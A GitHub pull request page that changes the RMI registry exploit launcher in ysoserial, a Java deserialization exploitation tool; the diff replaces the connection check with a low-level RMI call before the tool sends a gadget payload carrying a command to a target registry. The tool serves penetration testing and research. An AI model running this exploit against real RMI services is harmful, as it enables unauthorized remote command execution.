Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix insecure test RMI registry connection #172

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
+33 −8
Open

Fix insecure test RMI registry connection #172

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 33 additions & 8 deletions src/main/java/ysoserial/exploit/RMIRegistryExploit.java
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,16 +1,24 @@
package ysoserial.exploit;

import java.io.DataInputStream;
import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.UnmarshalException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;

import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.StreamRemoteCall;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
Expand Down Expand Up @@ -55,11 +63,28 @@ public static void main(final String[] args) throws Exception {
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
UnicastRef unicastRef = null;
StreamRemoteCall streamRemoteCall = null;
try {
RemoteObject remoteObject = (RemoteObject) registry;
unicastRef = (UnicastRef) remoteObject.getRef();
LiveRef ref = unicastRef.getLiveRef();
streamRemoteCall = new StreamRemoteCall(ref.getChannel().newConnection(), ref.getObjID(), 1, 4905912898345647071L);
streamRemoteCall.releaseOutputStream();
DataInputStream var3 = new DataInputStream(streamRemoteCall.getConnection().getInputStream());
byte code = var3.readByte();
if (code != 81) {
throw new UnmarshalException("Transport return code invalid");
}
streamRemoteCall.getInputStream().readByte();
UID.read(streamRemoteCall.getInputStream());
} catch (IOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
} finally {
if (unicastRef != null && streamRemoteCall != null) {
unicastRef.done(streamRemoteCall);
}
}

// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
Expand Down